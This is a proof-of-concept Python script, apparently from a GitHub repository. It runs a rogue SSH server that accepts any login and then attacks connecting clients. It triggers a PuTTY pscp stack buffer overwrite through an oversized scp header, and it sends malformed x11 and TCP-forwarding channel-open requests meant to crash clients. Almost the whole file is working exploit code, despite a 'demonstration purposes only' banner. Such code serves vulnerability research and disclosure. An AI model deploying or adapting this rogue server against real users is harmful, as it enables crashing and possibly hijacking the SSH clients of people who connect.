-
Notifications
You must be signed in to change notification settings - Fork 124
/
Copy pathpoc.py
440 lines (390 loc) · 17.4 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
###############################################################################
#
# FOR DEMONSTRATION PURPOSES ONLY!
#
###############################################################################
from binascii import hexlify
import socket
import sys
import threading
import re
import logging
try:
import paramiko
except ImportError, ie:
logging.exception(ie)
logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install python-paramiko")
sys.exit(1)
from paramiko.py3compat import b, u, decodebytes
from paramiko.ssh_exception import SSHException, ProxyCommandFailure
from paramiko.message import Message
from paramiko.common import cMSG_CHANNEL_OPEN, DEBUG, INFO
from paramiko.channel import Channel
from paramiko.transport import Transport
logging.basicConfig(format='%(levelname)-8s %(message)s',
level=logging.DEBUG)
LOG = logging.getLogger(__name__)
class SSHServer (paramiko.ServerInterface):
# (using the "user_rsa_key" files)
data = (b'AAAAB3NzaC1yc2EAAAABIwAAAIEAyO4it3fHlmGZWJaGrfeHOVY7RWO3P9M7hp'
b'fAu7jJ2d7eothvfeuoRFtJwhUmZDluRdFyhFY/hFAh76PJKGAusIqIQKlkJxMC'
b'KDqIexkgHAfID/6mqvmnSJf0b5W8v5h2pI/stOSwTQ+pxVhwJ9ctYDhRSlF0iT'
b'UWT10hcuO4Ks8=')
good_pub_key = paramiko.RSAKey(data=decodebytes(data))
def __init__(self, no_checks=False):
self.event = threading.Event()
self.peers = set([])
self.no_checks = no_checks
def check_channel_request(self, kind, chanid):
LOG.info("REQUEST: CHAN %s %s"%(kind,chanid))
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
LOG.info("REQUEST: CHECK_AUTH_PASS %s %s"%(repr(username),password))
LOG.info("* SUCCESS")
return paramiko.AUTH_SUCCESSFUL
def check_auth_publickey(self, username, key):
LOG.info("REQUEST: CHECK_AUTH_PUBK %s %s (fp: %s)"%(repr(username),repr(key),hexlify(key.get_fingerprint())))
LOG.info("* SUCCESS")
return paramiko.AUTH_SUCCESSFUL
def check_auth_gssapi_with_mic(self, username,
gss_authenticated=paramiko.AUTH_FAILED,
cc_file=None):
LOG.info("REQUEST: CHECK_AUTH_GSSAPI_MIC %s %s (fp: %s)"%(repr(username),gss_authenticated,cc_file))
LOG.info("* SUCCESS")
return paramiko.AUTH_SUCCESSFUL
def check_auth_gssapi_keyex(self, username,
gss_authenticated=paramiko.AUTH_FAILED,
cc_file=None):
LOG.info("REQUEST: CHECK_AUTH_GSSAPI_KEY %s %s (fp: %s)"%(repr(username),gss_authenticated,cc_file))
return paramiko.AUTH_SUCCESSFUL
def check_channel_x11_request(self, channel, single_connection, auth_protocol, auth_cookie, screen_number):
LOG.info("X11Req %s, %s, %s, %s, %s"%(channel, single_connection, auth_protocol, auth_cookie, screen_number))
return True
def check_channel_shell_request(self, channel):
LOG.info("SHELL %s"%repr(channel))
self.event.set()
return True
def check_channel_exec_request(self, channel, command):
LOG.info("REQUEST: EXEC %s %s"%(channel,command))
transport = channel.get_transport()
try:
if "scp -f" in command \
and (self.no_checks or "putty" in transport.CONN_INFO['client'].lower()):
if self.no_checks:
LOG.warning("banner checks disabled!")
LOG.warning("Oh, hello putty/pscp %s, nice to meet you!"%transport.CONN_INFO['client'])
# hello putty
# putty pscp stack buffer overwrite, EIP
rep_time = "T1444608444 0 1444608444 0\n"
rep_perm_size = "C755 %s \n"%('A'*200)
LOG.info("send (time): %s"%repr(rep_time))
channel.send(rep_time)
LOG.info("send (perm): %s"%repr(rep_perm_size))
channel.send(rep_perm_size)
LOG.info("boom!")
except ValueError: pass
return True
def enable_auth_gssapi(self):
UseGSSAPI = False
GSSAPICleanupCredentials = False
return UseGSSAPI
def get_allowed_auths(self, username):
auths = 'gssapi-keyex,gssapi-with-mic,password,publickey'
LOG.info("REQUEST: allowed auths: %s"%(auths))
return auths
def set_host_key(self, host_key):
self.host_key = host_key
LOG.info('ServerHostKey: %s'%u(hexlify(host_key.get_fingerprint())))
def listen(self, bind, host_key=None):
self.bind = bind
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
LOG.info("BIND: %s"%repr(bind))
self.sock.bind(bind)
self.sock.listen(100)
LOG.info('Listening for connection ...')
def accept(self, ):
client, addr = self.sock.accept()
LOG.info('new peer: %s'%repr(addr))
peer = SSHPeerSession(self, client, addr, host_key=self.host_key)
self.peers.add(peer)
return peer
class SSHPeerSession(object):
def __init__(self, server, client, addr, host_key, DoGSSAPIKeyExchange=False):
self.server, self.client, self.addr = server, client, addr
self.DoGSSAPIKeyExchange = DoGSSAPIKeyExchange
self.host_key = host_key
self.prompt = {}
self.transport = paramiko.Transport(client, gss_kex=DoGSSAPIKeyExchange)
self.transport.set_gss_host(socket.getfqdn("."))
try:
self.transport.load_server_moduli()
except:
LOG.error('(Failed to load moduli -- gex will be unsupported.)')
raise
self.transport.add_server_key(self.host_key)
self.transport.start_server(server=self.server)
def accept(self, timeout):
chan = self.transport.accept(timeout)
if chan is None:
raise Exception("No channel")
return chan
def wait(self, timeout):
LOG.info("wait for event")
self.server.event.wait(10)
class FakeShell(object):
def __init__(self, peer, channel):
self.peer = peer
self.channel = channel
self.prompt = {'username': peer.transport.get_username().strip(),
'host':peer.addr[0],
'port':peer.addr[1]}
def banner(self):
self.channel.send('\r\n\r\nHi %(username)s!\r\n\r\ncommands: echo, allchars, x11exploit, directtcpip, forwardedtcpipcrash\r\nother: pscp crash with: pscp -scp -P %(port)d %(username)s@%(host)s:/etc/passwd .\r\n\r\n'%self.prompt)
def loop(self):
f = self.channel.makefile('rU')
while True:
self.channel.send('%(username)s@%(host)s:~# '%self.prompt)
cmd = ""
while not (cmd.endswith("\r") or cmd.endswith("\n")):
self.peer.server.event.wait(10)
if not self.peer.server.event.is_set():
LOG.error('Peer did not ask for a shell within 10 seconds.')
sys.exit(1)
chunk = f.read(1) #.strip('\r\n')
if not chunk:
continue
cmd +=chunk
LOG.debug("<== %s"%repr(cmd))
cmdsplit = cmd.split(" ",1)
args = ''
cmd = cmdsplit[0].strip()
if len(cmdsplit)>1:
args = cmdsplit[1].strip()
if cmd=="exit":
break
try:
getattr(self, "cmd_%s"%cmd)(cmd, args)
except AttributeError, ae:
resp = "- Unknown Command: %s\r\n"%cmd
LOG.debug("==> %s"%repr(resp))
self.channel.send(resp)
def cmd_echo(self, cmd, args):
resp = "%s\r\n"%args
LOG.debug("==> %s"%repr(resp))
self.channel.send(resp)
def cmd_allchars(self, cmd, args):
resp = ''.join(chr(c) for c in xrange(256))
LOG.debug("==> %s"%repr(resp))
self.channel.send(resp)
def cmd_x11serverinitiated(self, cmd, args):
resp = self.peer.transport.open_channel(kind="x11", src_addr=("192.168.139.129",1), dest_addr=("google.com",80))
LOG.debug("==> chan: %s"%repr(resp))
def cmd_x11exploit(self, cmd, args):
resp = self.peer.transport.open_channel(kind="x11exploit", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
LOG.debug("==> chan: %s"%repr(resp))
def cmd_directtcpip(self, cmd, args):
resp = self.peer.transport.open_channel(kind="direct-tcpip", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
LOG.debug("==> chan: %s"%repr(resp))
def cmd_forwardedtcpipcrash(self, cmd, args):
resp = self.peer.transport.open_channel(kind="forwarded-tcpip", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
LOG.debug("==> chan: %s"%repr(resp))
def cmd_ls(self, cmd, args):
resp = """total 96
4 -rw------- 1 user user 383 Feb 29 16:48 .bash_history
4 drwx------ 12 user user 4096 Feb 29 16:45 .cache
4 drwx------ 4 user user 4096 Feb 29 16:43 .mozilla
4 drwxr-xr-x 18 user user 4096 Feb 29 16:43 .
4 drwxr-xr-x 2 user user 4096 Feb 29 16:43 Pictures
4 drwx------ 3 user user 4096 Feb 29 16:43 .gnome2
4 drwx------ 2 user user 4096 Feb 29 16:43 .gnome2_private
4 drwxr-xr-x 13 user user 4096 Feb 29 16:42 .config
4 drwx------ 3 user user 4096 Feb 29 16:41 .gconf
4 -rw------- 1 user user 636 Feb 29 16:41 .ICEauthority
4 drwx------ 3 user user 4096 Feb 29 16:35 .local
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Desktop
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Documents
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Downloads
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Music
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Public
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Templates
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Videos
4 drwx------ 3 user user 4096 Feb 29 16:35 .dbus
4 -rw-r--r-- 1 user user 220 Feb 29 16:34 .bash_logout
4 -rw-r--r-- 1 user user 3391 Feb 29 16:34 .bashrc
4 -rw-r--r-- 1 user user 3515 Feb 29 16:34 .bashrc.original
4 -rw-r--r-- 1 user user 675 Feb 29 16:34 .profile
4 drwxr-xr-x 3 root root 4096 Feb 29 16:34 ..
""".replace('\n','\r\n')
LOG.debug("==> %s"%repr(resp))
self.channel.send(resp)
# taken from transport.open_channel
def open_channel_exploit(self,
kind,
dest_addr=None,
src_addr=None,
window_size=None,
max_packet_size=None):
"""
Request a new channel to the server. `Channels <.Channel>` are
socket-like objects used for the actual transfer of data across the
session. You may only request a channel after negotiating encryption
(using `connect` or `start_client`) and authenticating.
.. note:: Modifying the the window and packet sizes might have adverse
effects on the channel created. The default values are the same
as in the OpenSSH code base and have been battle tested.
:param str kind:
the kind of channel requested (usually ``"session"``,
``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``)
:param tuple dest_addr:
the destination address (address + port tuple) of this port
forwarding, if ``kind`` is ``"forwarded-tcpip"`` or
``"direct-tcpip"`` (ignored for other channel types)
:param src_addr: the source address of this port forwarding, if
``kind`` is ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``
:param int window_size:
optional window size for this session.
:param int max_packet_size:
optional max packet size for this session.
:return: a new `.Channel` on success
:raises SSHException: if the request is rejected or the session ends
prematurely
.. versionchanged:: 1.15
Added the ``window_size`` and ``max_packet_size`` arguments.
"""
if not self.active:
raise SSHException('SSH session not active')
self.lock.acquire()
try:
window_size = self._sanitize_window_size(window_size)
max_packet_size = self._sanitize_packet_size(max_packet_size)
chanid = self._next_channel()
m = Message()
m.add_byte(cMSG_CHANNEL_OPEN)
m.add_string("x11" if kind == "x11exploit" else kind)
m.add_int(chanid)
m.add_int(window_size)
m.add_int(max_packet_size)
if (kind == 'forwarded-tcpip') or (kind == 'direct-tcpip'):
m.add_string(dest_addr[0])
m.add_int(dest_addr[1])
m.add_string(src_addr[0])
m.add_int(src_addr[1])
elif kind == 'x11':
m.add_string(src_addr[0])
m.add_int(src_addr[1])
elif kind =='x11exploit':
m.add_int(99999999)
m.add_bytes('')
m.add_int(src_addr[1])
chan = Channel(chanid)
self._channels.put(chanid, chan)
self.channel_events[chanid] = event = threading.Event()
self.channels_seen[chanid] = True
chan._set_transport(self)
chan._set_window(window_size, max_packet_size)
finally:
self.lock.release()
self._send_user_message(m)
while True:
event.wait(0.1)
if not self.active:
e = self.get_exception()
if e is None:
e = SSHException('Unable to open channel.')
raise e
if event.is_set():
break
chan = self._channels.get(chanid)
if chan is not None:
return chan
e = self.get_exception()
if e is None:
e = SSHException('Unable to open channel.')
raise e
# taken from transport._check_banner
def _check_banner_track_client_version(self):
# this is slow, but we only have to do it once
for i in range(100):
# give them 15 seconds for the first line, then just 2 seconds
# each additional line. (some sites have very high latency.)
if i == 0:
timeout = self.banner_timeout
else:
timeout = 2
try:
buf = self.packetizer.readline(timeout)
except ProxyCommandFailure:
raise
except Exception as e:
raise SSHException('Error reading SSH protocol banner' + str(e))
if buf[:4] == 'SSH-':
break
self._log(DEBUG, 'Banner: ' + buf)
if buf[:4] != 'SSH-':
raise SSHException('Indecipherable protocol version "' + buf + '"')
# save this server version string for later
self.remote_version = buf
# pull off any attached comment
comment = ''
i = buf.find(' ')
if i >= 0:
comment = buf[i+1:]
buf = buf[:i]
# parse out version string and make sure it matches
segs = buf.split('-', 2)
if len(segs) < 3:
raise SSHException('Invalid SSH banner')
version = segs[1]
client = segs[2]
if version != '1.99' and version != '2.0':
raise SSHException('Incompatible version (%s instead of 2.0)' % (version,))
self._log(INFO, 'Connected (version %s, client %s)' % (version, client))
self.CONN_INFO ={'client':client, 'version':version} # track client version
def start_server(bind, host_key=None, no_checks=False):
server = SSHServer(no_checks=no_checks)
server.set_host_key(paramiko.RSAKey(filename='test_rsa.key'))
server.listen(bind)
try:
peer = server.accept()
except paramiko.SSHException:
LOG.error('SSH negotiation failed.')
sys.exit(1)
# wait for auth / async.
chan = peer.accept(20)
LOG.info("Authenticated!")
LOG.info("wait for event")
peer.wait(10)
if not server.event.is_set():
LOG.error('Peer did not ask for a shell within 10 seconds.')
sys.exit(1)
# most likely waiting for a shell
LOG.info("spawn vshell")
vshell = FakeShell(peer, chan)
vshell.banner()
vshell.loop()
vshell.channel.close()
if __name__=="__main__":
LOG.setLevel(logging.DEBUG)
LOG.info("monkey-patch paramiko.Transport.open_channel")
paramiko.Transport.open_channel = open_channel_exploit
LOG.info("monkey-patch paramiko.Transport._check_banner")
paramiko.Transport._check_banner = _check_banner_track_client_version
LOG.info("--start--")
DoGSSAPIKeyExchange = False
no_checks = False
if "--no-checks" in sys.argv:
no_checks = True
sys.argv.remove("--no-checks")
arg_bind = sys.argv[1].split(":") if len(sys.argv)>1 else ("0.0.0.0","22")
bind = (arg_bind[0], int(arg_bind[1]))
try:
start_server(bind, no_checks=no_checks)
except Exception as e:
LOG.exception('Exception: %s'%repr(e))
sys.exit(1)